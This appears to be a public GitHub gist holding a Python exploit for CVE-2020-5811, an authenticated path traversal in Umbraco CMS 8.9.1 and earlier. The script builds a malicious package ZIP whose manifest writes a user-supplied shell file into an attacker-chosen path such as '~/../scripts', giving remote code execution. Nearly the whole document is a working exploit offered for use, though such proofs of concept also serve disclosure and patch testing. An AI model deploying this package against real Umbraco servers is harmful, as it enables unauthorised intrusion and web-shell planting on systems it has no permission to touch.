Skip to content

Instantly share code, notes, and snippets.

@BitTheByte

BitTheByte/CVE-2020-5811.py

Created August 31, 2021 16:46
Show Gist options
  • Save BitTheByte/ddc14dda0ff554cd1b9183e8f81599bf to your computer and use it in GitHub Desktop.
Save BitTheByte/ddc14dda0ff554cd1b9183e8f81599bf to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. BitTheByte created this gist Aug 31, 2021.
    70 changes: 70 additions & 0 deletions CVE-2020-5811.py
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,70 @@
    # Exploit Title: Umbraco CMS <= 8.9.1 - Authenticated path traversal (RCE)
    # Exploit Research: https://www.tenable.com/security/research/tra-2020-59
    # Vendor Homepage: https://umbraco.com/
    # Version: <= 8.9.1
    # CVE : CVE-2020-5811

    import string
    import random
    import argparse
    import zipfile
    import os

    package_xml = f"""<?xml version="1.0" encoding="utf-8"?>
    <umbPackage>
    <files>
    <file>
    <guid>{{filename}}</guid>
    <orgPath>{{upload_path}}</orgPath>
    <orgName>{{filename}}</orgName>
    </file>
    </files>
    <info>
    <package>
    <name>PoC-{''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))}</name>
    <version>1.0.0</version>
    <iconUrl></iconUrl>
    <license url="http://opensource.org/licenses/MIT">MIT License</license>
    <url>https://example.com</url>
    <requirements>
    <major>0</major>
    <minor>0</minor>
    <patch>0</patch>
    </requirements>
    </package>
    <author>
    <name>CVE-2020-5811</name>
    <website>https://example.com</website>
    </author>
    <contributors>
    <contributor></contributor>
    </contributors>
    <readme><![CDATA[]]></readme>
    </info>
    <DocumentTypes />
    <Templates />
    <Stylesheets />
    <Macros />
    <DictionaryItems />
    <Languages />
    <DataTypes />
    <Actions />
    </umbPackage>
    """

    parser = argparse.ArgumentParser(description='CVE-2020-5811')
    parser.add_argument('--shell', type=str, help='Shell file to upload', required=True)
    parser.add_argument('--upload-path', type=str, help='Shell file update path on target server (default=~/../scripts)', default='~/../scripts')
    args = parser.parse_args()

    if not os.path.isfile(args.shell):
    print("[ERROR] please use a correct path for the shell file.")

    output_file = "exploit.zip"

    package = zipfile.ZipFile(output_file, 'w')
    package.writestr('package.xml', package_xml.format(filename=os.path.basename(args.shell), upload_path=args.upload_path))
    package.writestr(os.path.basename(args.shell), open(args.shell, 'r').read())
    package.close()

    print(f"[DONE] Created Umbraco package: {output_file}")